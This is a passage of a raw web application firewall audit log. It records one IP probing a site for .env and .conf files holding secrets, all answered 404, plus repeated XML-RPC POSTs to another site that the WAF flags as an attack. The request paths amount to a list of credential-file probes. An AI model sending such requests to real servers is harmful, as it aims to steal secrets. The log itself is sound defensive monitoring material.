GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=096c14149b196a8d4805255f625512171750012914; expires=Sun, 15 Jun 2025 19:41:54 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --9b262126-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8880/vendor/laravel/.env"] [unique_id "aE8T8leqy5hRjKvJEAyVHAAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750012914301416 724746 (- - -) Stopwatch2: 1750012914301416 724746; combined=1720, p1=374, p2=1252, p3=0, p4=0, p5=93, sr=100, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --9b262126-Z-- --9b01a239-A-- [16/Jun/2025:00:12:07.292675 +0530] aE8T_ihnDkBlcF0fkxMGuwAAAAQ 185.177.72.210 33042 127.0.0.1 7081 --9b01a239-B-- GET /settings/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --9b01a239-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=f33588ae263cca5b74d3ad23cd1aec311750012927; expires=Sun, 15 Jun 2025 19:42:07 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --9b01a239-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/settings/.env"] [unique_id "aE8T_ihnDkBlcF0fkxMGuwAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750012926631728 661022 (- - -) Stopwatch2: 1750012926631728 661022; combined=1838, p1=368, p2=1366, p3=0, p4=0, p5=103, sr=94, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --9b01a239-Z-- --a225f415-A-- [16/Jun/2025:00:12:20.790506 +0530] aE8UC3JNE8RtYqH8JCs8UgAAAAI 128.199.112.101 44144 127.0.0.1 7081 --a225f415-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 496 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --a225f415-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --a225f415-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE8UC3JNE8RtYqH8JCs8UgAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750012939820112 970459 (- - -) Stopwatch2: 1750012939820112 970459; combined=2345, p1=414, p2=1540, p3=42, p4=68, p5=178, sr=136, sw=103, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --a225f415-Z-- --6b106d3e-A-- [16/Jun/2025:00:13:04.402387 +0530] aE8UNyhnDkBlcF0fkxMG2gAAAAQ 185.177.72.210 34344 127.0.0.1 7081 --6b106d3e-B-- GET /:5000/configura/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --6b106d3e-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=5d670865d1026e3a9d643c2929f126a31750012984; expires=Sun, 15 Jun 2025 19:43:04 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --6b106d3e-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5000/configura/.env"] [unique_id "aE8UNyhnDkBlcF0fkxMG2gAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750012983641214 761238 (- - -) Stopwatch2: 1750012983641214 761238; combined=1936, p1=387, p2=1453, p3=0, p4=0, p5=95, sr=94, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --6b106d3e-Z-- --a81c8f7e-A-- [16/Jun/2025:00:13:09.154021 +0530] aE8UPKSMmxZaGWa7XLL4rwAAAAY 185.177.72.210 34556 127.0.0.1 7081 --a81c8f7e-B-- GET /:9000/administrateur/.env.production HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --a81c8f7e-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=333a28cf60795abc0d7cf3e445c5d6a41750012988; expires=Sun, 15 Jun 2025 19:43:08 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --a81c8f7e-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:9000/administrateur/.env.production"] [unique_id "aE8UPKSMmxZaGWa7XLL4rwAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750012988467280 686831 (- - -) Stopwatch2: 1750012988467280 686831; combined=1654, p1=414, p2=1131, p3=0, p4=0, p5=108, sr=119, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --a81c8f7e-Z-- --997e600b-A-- [16/Jun/2025:00:13:12.373007 +0530] aE8UPy7MaF0j8lD2KTIQtAAAAAM 185.177.72.210 58718 127.0.0.1 7081 --997e600b-B-- GET /.env.old HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --997e600b-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=2fc35d4c56db8e9b8388d82bb185317f1750012992; expires=Sun, 15 Jun 2025 19:43:12 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --997e600b-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".env.old"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.env.old"] [unique_id "aE8UPy7MaF0j8lD2KTIQtAAAAAM"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".env.old"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/.env.old"] [unique_id "aE8UPy7MaF0j8lD2KTIQtAAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750012991704800 668295 (- - -) Stopwatch2: 1750012991704800 668295; combined=1990, p1=344, p2=1374, p3=0, p4=0, p5=272, sr=83, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --997e600b-Z-- --1b74ed15-A-- [16/Jun/2025:00:13:14.492394 +0530] aE8UQazY0BMZNmg1_r14xAAAAAc 185.177.72.210 58816 127.0.0.1 7081 --1b74ed15-B-- GET /:5000/umgebung/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --1b74ed15-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=c0331591f8593fd4841259c983ff615a1750012994; expires=Sun, 15 Jun 2025 19:43:14 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --1b74ed15-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5000/umgebung/.env"] [unique_id "aE8UQazY0BMZNmg1_r14xAAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750012993809796 682677 (- - -) Stopwatch2: 1750012993809796 682677; combined=1929, p1=401, p2=1452, p3=0, p4=0, p5=76, sr=103, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --1b74ed15-Z-- --bdb08d54-A-- [16/Jun/2025:00:13:20.528418 +0530] aE8UR1eqy5hRjKvJEAyVRgAAAAE 128.199.112.101 53618 127.0.0.1 7081 --bdb08d54-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 496 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --bdb08d54-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --bdb08d54-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE8UR1eqy5hRjKvJEAyVRgAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750012999607889 920674 (- - -) Stopwatch2: 1750012999607889 920674; combined=2396, p1=396, p2=1589, p3=43, p4=60, p5=192, sr=131, sw=116, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --bdb08d54-Z-- --05ba7164-A-- [16/Jun/2025:00:13:27.371827 +0530] aE8UTmuCR1auBLUP7R-lPwAAAAg 185.177.72.210 53946 127.0.0.1 7081 --05ba7164-B-- GET /bak/.env.backup HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --05ba7164-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=ded4ea3ea0e0acbd890977659c8e42d61750013007; expires=Sun, 15 Jun 2025 19:43:27 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --05ba7164-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".env.backup"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/bak/.env.backup"] [unique_id "aE8UTmuCR1auBLUP7R-lPwAAAAg"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".env.backup"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/bak/.env.backup"] [unique_id "aE8UTmuCR1auBLUP7R-lPwAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750013006667662 704238 (- - -) Stopwatch2: 1750013006667662 704238; combined=2029, p1=387, p2=1506, p3=0, p4=0, p5=135, sr=100, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --05ba7164-Z-- --03793c44-A-- [16/Jun/2025:00:13:31.419861 +0530] aE8UUqSMmxZaGWa7XLL4ugAAAAY 185.177.72.210 47544 127.0.0.1 7081 --03793c44-B-- GET /:8443/.env.1 HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --03793c44-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=0084ee51ca30dbfb4af618fe56373d461750013011; expires=Sun, 15 Jun 2025 19:43:31 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --03793c44-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8443/.env.1"] [unique_id "aE8UUqSMmxZaGWa7XLL4ugAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750013010700111 719812 (- - -) Stopwatch2: 1750013010700111 719812; combined=2226, p1=498, p2=1633, p3=0, p4=0, p5=94, sr=142, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --03793c44-Z-- --857ce33e-A-- [16/Jun/2025:00:13:32.436596 +0530] aE8UUyKD19h5xDtM-2wU-gAAAAo 185.177.72.210 47584 127.0.0.1 7081 --857ce33e-B-- GET /buffer.conf HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --857ce33e-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=bb01edba5927fcdb4b6f72381faa40bd1750013012; expires=Sun, 15 Jun 2025 19:43:32 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --857ce33e-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".conf"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".conf"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/buffer.conf"] [unique_id "aE8UUyKD19h5xDtM-2wU-gAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750013011738800 697881 (- - -) Stopwatch2: 1750013011738800 697881; combined=2159, p1=349, p2=1630, p3=0, p4=0, p5=180, sr=104, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --857ce33e-Z-- --cb0abb6d-A-- [16/Jun/2025:00:13:50.997128 +0530] aE8UZiKD19h5xDtM-2wVEQAAAAo 185.177.72.210 38752 127.0.0.1 7081 --cb0abb6d-B-- GET /private/.env.test HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --cb0abb6d-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=90e02858825744262694a429766557531750013030; expires=Sun, 15 Jun 2025 19:43:50 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --cb0abb6d-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/private/.env.test"] [unique_id "aE8UZiKD19h5xDtM-2wVEQAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750013030337460 660573 (- - -) Stopwatch2: 1750013030337460 660573; combined=1753, p1=378, p2=1286, p3=0, p4=0, p5=88, sr=95, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --cb0abb6d-Z-- --a6ac287a-A-- [16/Jun/2025:00:13:52.040546 +0530] aE8UZyhnDkBlcF0fkxMG_AAAAAQ 185.177.72.210 38800 127.0.0.1 7081 --a6ac287a-B-- GET /django_project_path/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --a6ac287a-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=f3bcc1fba89d87a1c1c3316f17438d241750013031; expires=Sun, 15 Jun 2025 19:43:51 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --a6ac287a-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/django_project_path/.env"] [unique_id "aE8UZyhnDkBlcF0fkxMG_AAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750013031338243 702371 (- - -) Stopwatch2: 1750013031338243 702371; combined=2284, p1=476, p2=1639, p3=0, p4=0, p5=168, sr=138, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --a6ac287a-Z-- --43ff2d16-A-- [16/Jun/2025:00:14:03.148811 +0530] aE8UcqSMmxZaGWa7XLL42gAAAAY 